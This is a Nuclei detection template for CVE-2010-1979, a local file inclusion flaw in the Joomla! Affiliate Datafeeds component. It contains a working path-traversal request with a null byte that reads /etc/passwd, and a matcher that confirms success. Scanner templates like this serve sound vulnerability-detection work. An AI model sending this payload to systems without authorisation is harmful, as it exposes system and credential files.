id: CVE-2010-1979

info:
  name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1979
    - http://www.exploit-db.com/exploits/12088
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57570
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1979
    cwe-id: CWE-22
    epss-score: 0.1115
    epss-percentile: 0.95378
    cpe: cpe:2.3:a:affiliatefeeds:com_datafeeds:build_880:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: affiliatefeeds
    product: com_datafeeds
  tags: cve,cve2010,edb,joomla,lfi,affiliatefeeds,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fab230dc30c8840663d1897ff3cb55feba1a2858cbf81f02b9f2854e3b335bb80221008be47546bd35e1489b3eff2229f0986067ecf79f29c67b9561c501cfd1367008:922c64590222798bb761d5b6d8e72950